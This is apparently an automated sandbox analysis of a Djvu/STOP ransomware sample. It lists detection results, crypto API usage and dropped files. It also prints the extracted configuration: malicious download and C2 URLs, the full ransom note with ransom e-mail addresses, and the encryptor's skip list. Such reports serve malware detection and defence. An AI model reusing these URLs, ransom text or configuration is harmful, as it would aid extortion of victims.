Source: http://zexeq.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exe#	Avira URL Cloud: Label: malware
Source: http://brusuax.com/dl/build2.exe$run	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe

Avira: detection malicious, Label: TR/Stop.npjgv

Found malware configuration

Source: 00000003.00000002.1688480237.00000000026B0000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Djvu {"Download URLs": ["http://brusuax.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-99MNqXMrdS\r\nPrice of private key and decrypt software is $1999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $999.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0840ASdw", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\

Multi AV Scanner detection for domain / URL

Source: zexeq.com	Virustotal: Detection: 20%	Perma Link
Source: brusuax.com	Virustotal: Detection: 18%	Perma Link
Source: http://zexeq.com/test1/get.php	Virustotal: Detection: 19%	Perma Link
Source: http://zexeq.com/files/1/build3.exee_	Virustotal: Detection: 17%	Perma Link
Source: http://zexeq.com/files/1/build3.exe7	Virustotal: Detection: 14%	Perma Link
Source: http://brusuax.com/dl/build2.exerun	Virustotal: Detection: 7%	Perma Link
Source: http://brusuax.com/dl/build2.exe	Virustotal: Detection: 24%	Perma Link
Source: http://zexeq.com/files/1/build3.exe$rune	Virustotal: Detection: 16%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe

ReversingLabs: Detection: 86%

Multi AV Scanner detection for submitted file

Source: sbvN2ih5AU.exe	Virustotal: Detection: 79%			Perma Link
Source: sbvN2ih5AU.exe	ReversingLabs: Detection: 72%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: sbvN2ih5AU.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00411178 CryptDestroyHash,CryptReleaseContext,	1_2_00411178
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040E870
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	1_2_0040EA51
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	1_2_0040EAA0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	1_2_0040EC68
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	1_2_00410FC0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040E870
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	4_2_0040EAA0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	4_2_00410FC0
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00411178 CryptDestroyHash,CryptReleaseContext,	4_2_00411178
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	4_2_0040EA51
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	4_2_0040EC68

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	4_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	4_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	4_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	4_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	4_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	4_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	4_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	4_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	4_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	4_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	4_2_00419F90
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	4_2_00419E70
Source: sbvN2ih5AU.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Unpacked PE file: 1.2.sbvN2ih5AU.exe.400000.0.unpack
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Unpacked PE file: 4.2.sbvN2ih5AU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Unpacked PE file: 6.2.sbvN2ih5AU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Unpacked PE file: 8.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Unpacked PE file: 10.2.sbvN2ih5AU.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Unpacked PE file: 13.2.sbvN2ih5AU.exe.400000.0.unpack

Source: sbvN2ih5AU.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.65.24:443 -> 192.168.2.4:49756 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\2 source: sbvN2ih5AU.exe, 00000004.00000003.2303190844.00000000035F6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\i source: sbvN2ih5AU.exe, 00000004.00000003.2036012673.000000000305E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: INTEedb.logtntkrnlmp.pdb source: sbvN2ih5AU.exe, 00000004.00000003.2225559443.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225408846.0000000002FDD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249849179.0000000003682000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2274484738.00000000038B2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\K source: sbvN2ih5AU.exe, 00000004.00000003.2317228663.0000000003612000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2321865681.0000000003654000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2315637192.000000000360F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\16 source: sbvN2ih5AU.exe, 00000004.00000003.2312987291.0000000003A34000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313349502.0000000003A84000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313255917.0000000003A43000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\s& source: sbvN2ih5AU.exe, 00000004.00000003.2312987291.0000000003A34000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313349502.0000000003A84000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313255917.0000000003A43000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbalCache\ source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2305346249.00000000038DF000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2303682242.00000000038CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2303473920.00000000039ED000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2305478829.00000000039F3000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2299316713.0000000003A01000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2304958924.00000000039ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.cdqwqz source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\che\wasm\inR source: sbvN2ih5AU.exe, 00000004.00000003.2315515714.00000000038D7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\R source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225311251.000000000301B000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\bx\Ya source: sbvN2ih5AU.exe, 00000004.00000003.2316949358.00000000038B2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2317458173.00000000038BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\*t\U source: sbvN2ih5AU.exe, 00000004.00000003.2001871627.0000000003003000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225408846.0000000003001000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\[#-) source: sbvN2ih5AU.exe, 00000004.00000003.2274484738.000000000389B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\e\: source: sbvN2ih5AU.exe, 00000004.00000003.2267216698.0000000003560000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267389311.00000000035AC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267769858.00000000035C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: sbvN2ih5AU.exe, 00000004.00000003.2303190844.00000000035F6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\FileTypePolicies\emp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.cdqw source: sbvN2ih5AU.exe, 00000004.00000003.2225076619.0000000003555000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248436114.00000000035C4000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.0000000003560000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225010475.000000000351C000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225507378.000000000355F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\xyewy\a\ source: sbvN2ih5AU.exe, 00000004.00000003.2315575644.00000000036B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\{ source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.People_8wekyb3d8bbwe\LocalCache\Data\Google\Chrome\User Data\FileTypePolicies\emp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2303190844.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2305172994.000000000367A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\* source: sbvN2ih5AU.exe, 00000004.00000003.2313309626.00000000038AA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.cdqw4 source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\bwe\INet<-u) source: sbvN2ih5AU.exe, 00000004.00000003.2315869908.000000000351B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\28\u-,) source: sbvN2ih5AU.exe, 00000004.00000003.2315869908.000000000351B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: sbvN2ih5AU.exe, 00000004.00000003.2299316713.000000000397F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295852109.0000000003996000.00000004.00000020.00020000.00000000.sdmp
